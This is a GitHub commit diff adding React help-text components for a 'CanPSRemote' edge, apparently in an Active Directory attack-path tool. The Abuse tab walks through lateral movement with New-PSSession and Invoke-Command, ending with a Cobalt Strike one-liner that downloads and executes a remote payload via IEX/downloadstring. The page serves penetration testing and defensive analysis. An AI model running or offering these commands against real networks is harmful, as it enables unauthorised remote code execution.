-
Notifications
You must be signed in to change notification settings - Fork 1.7k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
9 changed files
with
140 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,38 @@ | ||
import { typeFormat } from '../Formatter'; | ||
const Abuse = (sourceName, sourceType, targetName, targetType) => { | ||
let text = `Abuse of this privilege will require you to have interactive access with a system on the network. | ||
A remote session can be opened using the New-PSSession powershell command. | ||
You may need to authenticate to the Domain Controller as ${ | ||
sourceType === 'User' | ||
? `${sourceName} if you are not running a process as that user` | ||
: `a member of ${sourceName} if you are not running a process as a member` | ||
}. To do this in conjunction with New-PSSession, first create a PSCredential object (these examples comes from the PowerView help documentation): | ||
<code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force | ||
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)</code> | ||
Then use the New-PSSession command with the credential we just created: | ||
<code>$session = New-PSSession -ComputerName ${targetName} -Credential $Cred</code> | ||
This will open a powershell session on ${targetName}. | ||
You can then run a command on the system using the Invoke-Command cmdlet and the session you just created | ||
<code>Invoke-Command -Session $session -ScriptBlock {Start-Process cmd}</code> | ||
Cleanup of the session is done with the Disconnect-PSSession and Remove-PSSession commands. | ||
<code>Disconnect-PSSession -Session $session | ||
Remove-PSSession -Session $session</code> | ||
An example of running through this cobalt strike for lateral movement is as follows: | ||
<code>powershell $session = New-PSSession -ComputerName win-2016-001; Invoke-Command -Session $session -ScriptBlock {IEX ((new-object net.webclient).downloadstring('http://192.168.231.99:80/a'))}; Disconnect-PSSession -Session $session; Remove-PSSession -Session $session</code> | ||
`; | ||
return { __html: text }; | ||
}; | ||
|
||
export default Abuse; |
47 changes: 47 additions & 0 deletions
47
src/components/Modals/HelpTexts/CanPSRemote/CanPSRemote.jsx
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,47 @@ | ||
import React from 'react'; | ||
import PropTypes from 'prop-types'; | ||
import { Tabs, Tab } from 'react-bootstrap'; | ||
import General from './General'; | ||
import Abuse from './Abuse'; | ||
import Opsec from './Opsec'; | ||
import References from './References'; | ||
|
||
const CanPSRemote = ({ sourceName, sourceType, targetName, targetType }) => { | ||
return ( | ||
<Tabs defaultActiveKey={1} id='help-tab-container' justified> | ||
<Tab | ||
eventKey={1} | ||
title='Info' | ||
dangerouslySetInnerHTML={General( | ||
sourceName, | ||
sourceType, | ||
targetName, | ||
targetType | ||
)} | ||
/> | ||
<Tab | ||
eventKey={2} | ||
title='Abuse Info' | ||
dangerouslySetInnerHTML={Abuse( | ||
sourceName, | ||
sourceType, | ||
targetName, | ||
targetType | ||
)} | ||
/> | ||
<Tab | ||
eventKey={3} | ||
title='Opsec Considerations' | ||
dangerouslySetInnerHTML={Opsec()} | ||
/> | ||
<Tab | ||
eventKey={4} | ||
title='References' | ||
dangerouslySetInnerHTML={References()} | ||
/> | ||
</Tabs> | ||
); | ||
}; | ||
|
||
CanPSRemote.propTypes = {}; | ||
export default CanPSRemote; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,15 @@ | ||
import { groupSpecialFormat, typeFormat } from '../Formatter'; | ||
|
||
const General = (sourceName, sourceType, targetName, targetType) => { | ||
let text = `${groupSpecialFormat( | ||
sourceType, | ||
sourceName | ||
)} the capability to create a PSRemote Connection with the computer ${targetName}. | ||
PS Session access allows you to enter an interactive session with the target computer. If authenticating as a low privilege user, a privilege escalation may allow you to gain high privileges on the system. | ||
Note: This edge does not guarantee privileged execution.`; | ||
return { __html: text }; | ||
}; | ||
|
||
export default General; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,8 @@ | ||
const Opsec = () => { | ||
let text = `When using the PowerShell functions, keep in mind that PowerShell v5 introduced several security mechanisms that make it much easier for defenders to see what's going on with PowerShell in their network, such as script block logging and AMSI. | ||
Entering a PSSession will generate a logon event on the target computer.`; | ||
return { __html: text }; | ||
}; | ||
|
||
export default Opsec; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
const References = () => { | ||
let text = `<a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/new-pssession?view=powershell-7">https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/new-pssession?view=powershell-7/</a> | ||
<a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/invoke-command?view=powershell-7">https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/invoke-command?view=powershell-7</a>`; | ||
return { __html: text }; | ||
}; | ||
|
||
export default References; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters